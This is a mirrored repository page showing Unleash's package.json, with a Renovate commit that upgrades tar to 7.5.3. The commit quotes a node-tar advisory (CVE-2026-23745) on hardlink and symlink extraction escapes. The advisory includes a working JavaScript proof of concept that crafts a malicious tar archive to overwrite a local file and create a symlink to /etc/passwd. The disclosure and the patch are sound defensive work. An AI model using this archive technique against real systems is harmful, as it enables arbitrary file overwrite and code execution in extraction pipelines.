1
0
mirror of https://github.com/Unleash/unleash.git synced 2026-02-20 13:57:42 +01:00
unleash.unleash/package.json
renovate[bot] c6e8e98b28
chore(deps): update dependency tar to v7.5.3 [security] (#11240)
This PR contains the following updates:

| Package | Change |
[Age](https://docs.renovatebot.com/merge-confidence/) |
[Confidence](https://docs.renovatebot.com/merge-confidence/) |
|---|---|---|---|
| [tar](https://redirect.github.com/isaacs/node-tar) | [`7.4.3` →
`7.5.3`](https://renovatebot.com/diffs/npm/tar/7.4.3/7.5.3) |
![age](https://developer.mend.io/api/mc/badges/age/npm/tar/7.5.3?slim=true)
|
![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/tar/7.4.3/7.5.3?slim=true)
|

### GitHub Vulnerability Alerts

####
[CVE-2026-23745](https://redirect.github.com/isaacs/node-tar/security/advisories/GHSA-8qq5-rm4j-mr97)

### Summary

The `node-tar` library (`<= 7.5.2`) fails to sanitize the `linkpath` of
`Link` (hardlink) and `SymbolicLink` entries when `preservePaths` is
false (the default secure behavior). This allows malicious archives to
bypass the extraction root restriction, leading to **Arbitrary File
Overwrite** via hardlinks and **Symlink Poisoning** via absolute symlink
targets.

### Details

The vulnerability exists in `src/unpack.ts` within the `[HARDLINK]` and
`[SYMLINK]` methods.

**1. Hardlink Escape (Arbitrary File Overwrite)**

The extraction logic uses `path.resolve(this.cwd, entry.linkpath)` to
determine the hardlink target. Standard Node.js behavior dictates that
if the second argument (`entry.linkpath`) is an **absolute path**,
`path.resolve` ignores the first argument (`this.cwd`) entirely and
returns the absolute path.

The library fails to validate that this resolved target remains within
the extraction root. A malicious archive can create a hardlink to a
sensitive file on the host (e.g., `/etc/passwd`) and subsequently write
to it, if file permissions allow writing to the target file, bypassing
path-based security measures that may be in place.

**2. Symlink Poisoning**

The extraction logic passes the user-supplied `entry.linkpath` directly
to `fs.symlink` without validation. This allows the creation of symbolic
links pointing to sensitive absolute system paths or traversing paths
(`../../`), even when secure extraction defaults are used.

### PoC

The following script generates a binary TAR archive containing malicious
headers (a hardlink to a local file and a symlink to `/etc/passwd`). It
then extracts the archive using standard `node-tar` settings and
demonstrates the vulnerability by verifying that the local "secret" file
was successfully overwritten.

```javascript
const fs = require('fs')
const path = require('path')
const tar = require('tar')

const out = path.resolve('out_repro')
const secret = path.resolve('secret.txt')
const tarFile = path.resolve('exploit.tar')
const targetSym = '/etc/passwd'

// Cleanup & Setup
try { fs.rmSync(out, {recursive:true, force:true}); fs.unlinkSync(secret) } catch {}
fs.mkdirSync(out)
fs.writeFileSync(secret, 'ORIGINAL_DATA')

// 1. Craft malicious Link header (Hardlink to absolute local file)
const h1 = new tar.Header({
  path: 'exploit_hard',
  type: 'Link',
  size: 0,
  linkpath: secret 
})
h1.encode()

// 2. Craft malicious Symlink header (Symlink to /etc/passwd)
const h2 = new tar.Header({
  path: 'exploit_sym',
  type: 'SymbolicLink',
  size: 0,
  linkpath: targetSym 
})
h2.encode()

// Write binary tar
fs.writeFileSync(tarFile, Buffer.concat([ h1.block, h2.block, Buffer.alloc(1024) ]))

console.log('[*] Extracting malicious tarball...')

// 3. Extract with default secure settings
tar.x({
  cwd: out,
  file: tarFile,
  preservePaths: false
}).then(() => {
  console.log('[*] Verifying payload...')

  // Test Hardlink Overwrite
  try {
    fs.writeFileSync(path.join(out, 'exploit_hard'), 'OVERWRITTEN')
    
    if (fs.readFileSync(secret, 'utf8') === 'OVERWRITTEN') {
      console.log('[+] VULN CONFIRMED: Hardlink overwrite successful')
    } else {
      console.log('[-] Hardlink failed')
    }
  } catch (e) {}

  // Test Symlink Poisoning
  try {
    if (fs.readlinkSync(path.join(out, 'exploit_sym')) === targetSym) {
      console.log('[+] VULN CONFIRMED: Symlink points to absolute path')
    } else {
      console.log('[-] Symlink failed')
    }
  } catch (e) {}
})

```

### Impact

* **Arbitrary File Overwrite:** An attacker can overwrite any file the
extraction process has access to, bypassing path-based security
restrictions. It does not grant write access to files that the
extraction process does not otherwise have access to, such as root-owned
configuration files.
* **Remote Code Execution (RCE):** In CI/CD environments or automated
pipelines, overwriting configuration files, scripts, or binaries leads
to code execution. (However, npm is unaffected, as it filters out all
`Link` and `SymbolicLink` tar entries from extracted packages.)

---

### Release Notes

<details>
<summary>isaacs/node-tar (tar)</summary>

###
[`v7.5.3`](https://redirect.github.com/isaacs/node-tar/compare/v7.5.2...v7.5.3)

[Compare
Source](https://redirect.github.com/isaacs/node-tar/compare/v7.5.2...v7.5.3)

###
[`v7.5.2`](https://redirect.github.com/isaacs/node-tar/compare/v7.5.1...v7.5.2)

[Compare
Source](https://redirect.github.com/isaacs/node-tar/compare/v7.5.1...v7.5.2)

###
[`v7.5.1`](https://redirect.github.com/isaacs/node-tar/compare/v7.5.0...v7.5.1)

[Compare
Source](https://redirect.github.com/isaacs/node-tar/compare/v7.5.0...v7.5.1)

###
[`v7.5.0`](https://redirect.github.com/isaacs/node-tar/compare/v7.4.4...v7.5.0)

[Compare
Source](https://redirect.github.com/isaacs/node-tar/compare/v7.4.4...v7.5.0)

###
[`v7.4.4`](https://redirect.github.com/isaacs/node-tar/compare/v7.4.3...v7.4.4)

[Compare
Source](https://redirect.github.com/isaacs/node-tar/compare/v7.4.3...v7.4.4)

</details>

---

### Configuration

📅 **Schedule**: Branch creation - "" in timezone Europe/Madrid,
Automerge - At any time (no schedule defined).

🚦 **Automerge**: Enabled.

♻ **Rebasing**: Whenever PR is behind base branch, or you tick the
rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update
again.

---

- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check
this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/).
View the [repository job
log](https://developer.mend.io/github/Unleash/unleash).

<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0Mi43NC41IiwidXBkYXRlZEluVmVyIjoiNDIuNzQuNSIsInRhcmdldEJyYW5jaCI6Im1haW4iLCJsYWJlbHMiOlsiZGVwZW5kZW5jaWVzIl19-->

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
2026-01-17 16:53:45 +00:00

211 lines
7.0 KiB
JSON

{
"name": "unleash-server",
"type": "module",
"description": "Unleash is an enterprise ready feature flag service. It provides different strategies for handling feature flags.",
"version": "7.4.0",
"keywords": [
"unleash",
"feature flag",
"flag",
"feature toggle",
"feature",
"toggle"
],
"files": [
"dist",
"frontend/build",
"frontend/build/*",
"frontend/build/**/*",
"frontend/index.js",
"frontend/package.json"
],
"repository": {
"type": "git",
"url": "https://github.com/Unleash/unleash.git"
},
"bugs": {
"url": "https://github.com/unleash/unleash/issues"
},
"types": "./dist/lib/server-impl.d.ts",
"engines": {
"node": ">=20"
},
"license": "Apache-2.0",
"exports": "./dist/lib/server-impl.js",
"scripts": {
"start": "TZ=UTC node ./dist/server.js",
"copy-templates": "copyfiles-fixed -u 1 src/mailtemplates/**/* dist/",
"build:backend": "tsc --pretty && copyfiles-fixed -u 2 src/migrations/package.json dist/migrations",
"build:frontend": "yarn --cwd ./frontend run build",
"build:frontend:if-needed": "./scripts/build-frontend-if-needed.sh",
"build": "yarn run clean && concurrently \"yarn:copy-templates\" \"yarn:build:frontend\" \"yarn:build:backend\"",
"dev:vite": "TZ=UTC NODE_ENV=development vite-node src/server-dev.ts",
"dev:backend": "TZ=UTC NODE_ENV=${NODE_ENV:-development} tsc-watch --onEmit \"copyfiles-fixed -u 2 src/migrations/package.json dist/migrations\" --onSuccess \"node dist/server-dev.js\"",
"dev:frontend": "wait-on tcp:4242 && yarn --cwd ./frontend run dev",
"dev:frontend:cloud": "UNLEASH_BASE_PATH=/demo/ yarn run dev:frontend",
"dev": "concurrently \"yarn:dev:backend\" \"yarn:dev:frontend\"",
"prepare:backend": "concurrently \"yarn:copy-templates\" \"yarn:build:backend\"",
"start:dev": "yarn run clean && yarn dev:backend",
"db-migrate": "db-migrate --migrations-dir ./src/migrations",
"lint": "biome check .",
"lint:fix": "biome check . --write",
"local:package": "del-cli --force build && mkdir build && cp -r dist CHANGELOG.md LICENSE README.md package.json build",
"build:watch": "tsc -w",
"prepare": "husky && yarn --cwd ./frontend install && if [ ! -d ./dist ]; then yarn build; fi",
"test": "PORT=4243 vitest run",
"test:unit": "PORT=4243 vitest --exclude src/test/e2e",
"test:docker": "./scripts/docker-postgres.sh",
"test:report": "PORT=4243 vitest --reporter=junit",
"test:docker:cleanup": "docker rm -f unleash-postgres",
"test:watch": "vitest",
"test:coverage": "PORT=4243 vitest run --coverage --outputFile=\"coverage/report.json\"",
"test:updateSnapshot": "PORT=4243 vitest run -u",
"test:ui": "vitest --ui",
"seed:setup": "ts-node src/test/e2e/seed/segment.seed.ts",
"seed:serve": "UNLEASH_DATABASE_NAME=unleash_test UNLEASH_DATABASE_SCHEMA=seed yarn run start:dev",
"clean": "del-cli --force dist",
"prepack": "./scripts/prepack.sh",
"schema:update": "node ./.husky/update-openapi-spec-list.js"
},
"dependencies": {
"@json2csv/plainjs": "^7.0.6",
"@slack/web-api": "^7.13.0",
"@wesleytodd/openapi": "^1.1.0",
"ajv": "^8.17.1",
"ajv-formats": "^3.0.1",
"async": "^3.2.6",
"bcryptjs": "^3.0.3",
"compression": "^1.8.1",
"connect-session-knex": "^5.0.0",
"cookie-parser": "^1.4.6",
"cookie-session": "^2.1.1",
"cors": "^2.8.5",
"date-fns": "^4.1.0",
"db-migrate": "0.11.14",
"db-migrate-pg": "1.5.2",
"db-migrate-shared": "1.2.0",
"deep-object-diff": "^1.1.9",
"deepmerge": "^4.3.1",
"errorhandler": "^1.5.1",
"express": "^4.22.1",
"express-rate-limit": "^8.2.1",
"express-session": "^1.18.2",
"fast-json-patch": "^3.1.0",
"hash-sum": "^2.0.0",
"helmet": "^8.0.0",
"http-errors": "^2.0.0",
"hyperloglog-lite": "^1.0.2",
"ip-address": "^10.0.1",
"joi": "^18.0.2",
"js-sha256": "^0.11.0",
"js-yaml": "^4.1.0",
"json-diff": "^1.0.6",
"json-schema-to-ts": "3.1.1",
"knex": "^3.1.0",
"ky": "^1.14.1",
"lodash.groupby": "^4.6.0",
"lodash.sortby": "^4.7.0",
"log4js": "^6.0.0",
"memoizee": "^0.4.17",
"mime": "^4.1.0",
"murmurhash3js": "^3.0.1",
"mustache": "^4.2.0",
"nodemailer": "^7.0.11",
"normalize-url": "^8.0.0",
"openapi-types": "^12.1.3",
"owasp-password-strength-test": "^1.3.0",
"parse-database-url": "^0.3.0",
"pg": "^8.16.3",
"pg-connection-string": "^2.5.0",
"pkginfo": "^0.4.1",
"prom-client": "^15.0.0",
"sanitize-filename": "^1.6.3",
"semver": "^7.7.3",
"serve-favicon": "^2.5.0",
"slug": "^11.0.0",
"stoppable": "^1.1.0",
"tldts": "7.0.19",
"ts-toolbelt": "^9.6.0",
"type-is": "^2.0.0",
"ulidx": "^2.4.1",
"unleash-client": "^6.9.0"
},
"devDependencies": {
"@apidevtools/swagger-parser": "12.1.0",
"@biomejs/biome": "^2.3.8",
"@cyclonedx/yarn-plugin-cyclonedx": "^3.2.1",
"@faker-js/faker": "^10.1.0",
"@fast-check/vitest": "^0.2.4",
"@types/cors": "2.8.19",
"@types/express": "4.17.23",
"@types/express-session": "1.18.2",
"@types/hash-sum": "^1.0.2",
"@types/js-yaml": "4.0.9",
"@types/lodash.groupby": "4.6.9",
"@types/lodash.isequal": "^4.5.8",
"@types/memoizee": "0.4.12",
"@types/murmurhash3js": "^3.0.7",
"@types/mustache": "^4.2.5",
"@types/node": "22.15.35",
"@types/nodemailer": "6.4.21",
"@types/owasp-password-strength-test": "1.3.2",
"@types/pg": "8.15.6",
"@types/semver": "7.7.1",
"@types/slug": "^5.0.8",
"@types/stoppable": "1.1.3",
"@types/supertest": "6.0.3",
"@types/type-is": "1.6.7",
"@vitest/coverage-v8": "^4.0.15",
"@vitest/ui": "^4.0.15",
"concurrently": "^9.0.0",
"copyfiles-fixed": "2.4.3",
"del-cli": "6.0.0",
"fast-check": "4.4.0",
"fetch-mock": "^12.6.0",
"husky": "^9.1.7",
"lint-staged": "16.2.7",
"nock": "^14.0.10",
"openapi-enforcer": "1.23.0",
"proxyquire": "2.1.3",
"source-map-support": "0.5.21",
"superagent": "10.2.3",
"supertest": "7.1.4",
"ts-node": "10.9.2",
"tsc-watch": "7.1.1",
"typescript": "5.9.3",
"vite-node": "^5.2.0",
"vitest": "^4.0.15",
"wait-on": "^8.0.0"
},
"resolutions": {
"glob": "^10.5.0",
"async": "^3.2.4",
"es5-ext": "0.10.64",
"node-forge": "^1.0.0",
"set-value": "^4.0.1",
"ansi-regex": "^5.0.1",
"ssh2": "^1.4.0",
"json-schema": "^0.4.0",
"ip": "^2.0.1",
"tar": "7.5.3",
"semver": "^7.7.3",
"tough-cookie": "4.1.4",
"brace-expansion": "2.0.2",
"@wesleytodd/openapi/path-to-regexp": "6.3.0",
"router/path-to-regexp": "1.9.0",
"prompt": "link:./node_modules/.cache/null"
},
"lint-staged": {
"*.{js,ts}": [
"yarn biome check --write --no-errors-on-unmatched"
],
"*.{jsx,tsx}": [
"yarn biome check --write --no-errors-on-unmatched"
],
"*.json": [
"yarn biome format --write --no-errors-on-unmatched"
]
},
"packageManager": "yarn@4.12.0"
}